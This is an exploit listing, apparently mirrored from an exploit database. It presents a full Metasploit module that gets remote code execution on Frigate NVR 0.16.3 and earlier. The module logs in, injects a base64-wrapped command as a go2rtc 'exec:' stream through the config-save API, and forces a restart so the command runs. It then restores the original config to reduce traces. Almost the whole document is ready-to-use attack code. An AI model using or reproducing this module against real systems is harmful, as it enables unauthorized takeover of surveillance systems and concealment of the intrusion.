Share
## https://sploitus.com/exploit?id=PACKETSTORM:216279
=============================================================================================================================================
| # Title : Frigate NVR โค 0.16.3 Configuration Manipulation Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://frigate.video/ |
=============================================================================================================================================
[+] Summary : This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Frigate NVR versions โค 0.16.3 by manipulating the applicationโs configuration through the go2rtc stream settings.
The module retrieves the current configuration, safely parses and modifies it to introduce a controlled payload entry,
and triggers a service restart to execute the injected command. After successful session establishment, the module attempts to restore the original configuration to reduce operational artifacts.
[+] This Enterprise Hardened Edition includes:
Defensive YAML parsing with strict type validation
Resilient JSON schema handling for API response variations
Enhanced restart polling logic with configurable timeout behavior
Optional authentication support
Structured logging for operational transparency
Crash-safe handling of unexpected API responses
Automatic configuration restoration upon session creation
The module is designed for stability in production-like environments and is hardened against common edge cases such as malformed responses, schema changes, and restart timing inconsistencies.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'yaml'
require 'json'
require 'date'
require 'logger'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Frigate NVR Config Manipulation RCE (Enterprise Hardened)',
'Description' => %q{
RCE exploit in Frigate NVR (<=0.16.3) via go2rtc settings.
This version is fully hardened against:
- Unexpected YAML structures
- JSON API schema changes
- Restart polling issues
- Authentication failures or missing credentials
Equipped with professional logging system.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-25643'],
['URL', 'https://github.com/jduardo2704/CVE-2026-25643-Frigate-RCE']
],
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_CMD],
'Targets' => [['Unix Command', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' }]],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-02-15',
'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [CONFIG_MODIFICATION] }
)
)
register_options([
Opt::RPORT(5000),
OptString.new('USERNAME', [false, 'Username', '']),
OptString.new('PASSWORD', [false, 'Password', '']),
OptInt.new('RESTART_TIMEOUT', [true, 'Max seconds to wait for restart', 60]),
OptBool.new('STRICT_RESTART', [true, 'Fail if service doesn\'t come back within timeout', true])
])
# Professional Logger
@logger = Logger.new($stdout)
@logger.level = Logger::INFO
end
def check
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version') })
return CheckCode::Unknown("Target unreachable") unless res
return CheckCode::Unknown("Empty or nil response body") if res.body.to_s.strip.empty?
v_match = res.body.match(/(\d+\.\d+(\.\d+)?)/)
return CheckCode::Detected("Frigate detected but version not parsed") unless v_match
version = v_match[1]
print_status("Detected Frigate version: #{version}")
if Rex::Version.new(version) <= Rex::Version.new('0.16.3')
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
@cookie = login
raw_config = fetch_config(@cookie)
fail_with(Failure::UnexpectedReply, "Failed to retrieve configuration") unless raw_config
config = parse_yaml(raw_config)
stream_key = Rex::Text.rand_text_alpha(8)
cmd = payload.encoded
b64_cmd = Rex::Text.encode_base64(cmd)
py_code = "import base64,os;os.system(base64.b64decode('#{b64_cmd}').decode())"
wrapped_payload = "exec:python3 -c \"#{py_code}\" || python -c \"#{py_code}\""
inject_payload(config, stream_key, wrapped_payload)
print_status("Injecting payload and triggering restart via /api/config/save...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'config', 'save'),
'vars_get' => { 'save_option' => 'restart' },
'ctype' => 'text/plain',
'cookie' => @cookie,
'data' => YAML.dump(config)
})
if res && [200, 204].include?(res.code)
wait_for_restart
else
fail_with(Failure::UnexpectedReply, "Server rejected config or insufficient permissions (HTTP #{res&.code})")
end
handler
end
def wait_for_restart
print_status("Service is restarting. Polling for readiness...")
start_time = Time.now
loop do
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version') })
if res && res.code.to_i.between?(200, 399)
print_good("Service is back online and responding!")
return true
end
if Time.now - start_time > datastore['RESTART_TIMEOUT']
if datastore['STRICT_RESTART']
fail_with(Failure::TimeoutExpired, "Service failed to restart within timeout")
else
print_warning("Timeout reached. Proceeding anyway...")
return false
end
end
sleep(3)
end
end
def parse_yaml(raw)
begin
config = YAML.safe_load(raw, permitted_classes: [Symbol, Date, Time], aliases: false)
config = {} if config.nil?
unless config.is_a?(Hash)
fail_with(Failure::BadConfig, "Expected YAML Hash, got #{config.class}")
end
@original_config_yaml = YAML.dump(config)
return config
rescue => e
fail_with(Failure::BadConfig, "YAML Parse Error: #{e.message}")
end
end
def inject_payload(config, stream_key, payload)
config['go2rtc'] ||= {}
config['go2rtc']['streams'] ||= {}
config['go2rtc']['streams'][stream_key] = [payload]
config['cameras'] ||= {}
config['cameras']["cam_#{stream_key}"] = {
'ffmpeg' => { 'inputs' => [{ 'path' => "rtsp://127.0.0.1:8554/#{stream_key}", 'roles' => ['detect'] }] },
'enabled' => true
}
@logger.info("Payload injected under stream key: #{stream_key}")
end
def fetch_config(cookie)
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'config', 'raw'), 'cookie' => cookie })
case res&.code
when 200
body = res.body
begin
parsed = JSON.parse(body)
body = parsed if parsed.is_a?(String)
body = parsed['config'] if parsed.is_a?(Hash) && parsed['config'].is_a?(String)
rescue JSON::ParserError; end
body
when 401, 403
fail_with(Failure::NoAccess, "Access denied to configuration API")
else
nil
end
end
def login
return nil if datastore['USERNAME'].to_s.empty?
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'login'),
'ctype' => 'application/json',
'data' => { 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json
})
(res && res.code == 200) ? res.get_cookies : fail_with(Failure::NoAccess, "Login failed")
end
def on_new_session(session)
super
return unless @original_config_yaml
print_status("Restoring original config for enterprise cleanup...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'config', 'save'),
'vars_get' => { 'save_option' => 'restart' },
'ctype' => 'text/plain',
'cookie' => @cookie,
'data' => @original_config_yaml
})
if res && [200, 204].include?(res.code)
@logger.info("Original configuration restored successfully.")
else
@logger.warn("Cleanup restore failed or returned unexpected code: #{res&.code}")
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================